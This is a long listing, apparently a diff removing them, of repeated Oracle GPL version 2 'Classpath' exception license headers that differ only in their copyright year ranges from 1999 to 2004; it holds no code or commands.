-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1999, 2012, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1999, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2000, 2001, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2000, 2002, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2000, 2003, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2000, 2004, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2000, 2005, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2000, 2006, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2000, 2007, Oracle and/or its affiliates. All rights reserved.
-
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2000, 2007, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2000, 2008, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2000, 2009, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2000, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2000, 2012, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2000, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2001, 2002, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2001, 2003, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2001, 2004, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2001, 2005, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2001, 2006, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2001, 2007, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2001, 2008, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2001, 2009, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2001, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2001, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2001, 2012, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2001, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2002, 2003, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2002, 2004, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
